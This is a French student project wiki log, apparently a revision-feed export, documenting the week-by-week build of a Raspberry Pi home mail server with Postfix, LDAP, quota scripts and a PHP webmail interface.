Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25952</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=25952"/>
				<updated>2016-02-02T12:30:48Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Semaine 18 (01/02/2016) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Câble RJ45 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
&lt;br /&gt;
==Suivi de l'avancement du Projet==&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.&lt;br /&gt;
&lt;br /&gt;
Nous allons étudier et approfondir les points suivants : &lt;br /&gt;
&lt;br /&gt;
* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX&lt;br /&gt;
* Installer un serveur de messagerie SMTP, et IMAP/POP&lt;br /&gt;
* Investiguer du côté de POSTFIX&lt;br /&gt;
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système&lt;br /&gt;
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)&lt;br /&gt;
&lt;br /&gt;
Ce qui doit pouvoir être fait :&lt;br /&gt;
* Distinction administrateur / utilisateur&lt;br /&gt;
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)&lt;br /&gt;
* Gestion des quotas/espace disque réservé par ex&lt;br /&gt;
* Choix du quota (par qui ? options ?)&lt;br /&gt;
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?&lt;br /&gt;
&lt;br /&gt;
Prévision du Matériel :&lt;br /&gt;
* Raspberry Pi 2&lt;br /&gt;
* Alimentation RPi&lt;br /&gt;
* Carte SD (8Go)&lt;br /&gt;
&lt;br /&gt;
Le module énergétique sera équipé des éléments suivants :&lt;br /&gt;
* 1 MPPT&lt;br /&gt;
* Convertisseur Numérique Analogique : MAX5250&lt;br /&gt;
* Potentiomètre : MCP4261&lt;br /&gt;
* Relai : R561D.56 NTE&lt;br /&gt;
* Résistances : Deux de 100Ω et deux de 10kΩ&lt;br /&gt;
* une LED&lt;br /&gt;
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4 &lt;br /&gt;
* Circuit d'alimentation autonome : cellule photovoltaique &lt;br /&gt;
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)&lt;br /&gt;
*Postfix pour SMTP&lt;br /&gt;
*Dovecot, Courier ou Cyrus pour IMAP/POP3&lt;br /&gt;
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)&lt;br /&gt;
*LMTP &lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion particulière des gros mails et notamment de leurs pièces jointes&lt;br /&gt;
*Bigfile pour un stockage en ligne&lt;br /&gt;
*Décodage base 64 des pièces jointes ? (difficulté++)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Gestion des utilisateurs&lt;br /&gt;
*Plusieurs comptes, en utilisant LDAP&lt;br /&gt;
*La possibilité de s'identifier en tant qu'administrateur&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Listes de diffusion&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Comptes mail temporaires (10 minutes mail like)&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Antivirus &amp;amp; Spam&lt;br /&gt;
*ClamAV ou SpamAssassin ou autres : lourd. &lt;br /&gt;
*iptables dans un premier temps.&lt;br /&gt;
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, &amp;quot;boites intelligentes&amp;quot; de spams.&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)&lt;br /&gt;
*Record A&lt;br /&gt;
*Record MX&lt;br /&gt;
&lt;br /&gt;
&amp;amp;#9744; Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)&lt;br /&gt;
&lt;br /&gt;
Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.&lt;br /&gt;
&lt;br /&gt;
===Semaine 3 (05/10/2015)===&lt;br /&gt;
Nous avons précisé les éléments constituants l'interface web :&lt;br /&gt;
* Gestion des comptes (création, modification, suppression d'utilisateurs...)&lt;br /&gt;
* Gestion des listes de diffusions&lt;br /&gt;
* Gestion des quotas&lt;br /&gt;
* Affichage du courrier&lt;br /&gt;
* Gestion de l'antivirus&lt;br /&gt;
&lt;br /&gt;
===Semaine 4 (12/10/2015)===&lt;br /&gt;
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].&lt;br /&gt;
&lt;br /&gt;
Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -x&lt;br /&gt;
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :&lt;br /&gt;
 ldapsearch -c -h localhost -b dc=domain,dc=tld -D &amp;quot;cn=admin, dc=domain,dc=tld&amp;quot; -W&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; décrivant cette structure et l'avons ajoutée avec la commande :&lt;br /&gt;
 ldapadd -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -f ldif/mail_tree.ldif&lt;br /&gt;
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :&lt;br /&gt;
 ldapsearch -D &amp;quot;cn=admin,dc=domain,dc=tld&amp;quot; -W -h localhost -b &amp;quot;dc=domain,dc=tld&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier &amp;lt;code&amp;gt;.ldif&amp;lt;/code&amp;gt; et de l'ajouter de la même manière que précedemment avec &amp;lt;code&amp;gt;ldapadd&amp;lt;/code&amp;gt;. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl &amp;lt;code&amp;gt;add_user.pl&amp;lt;/code&amp;gt; simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.&lt;br /&gt;
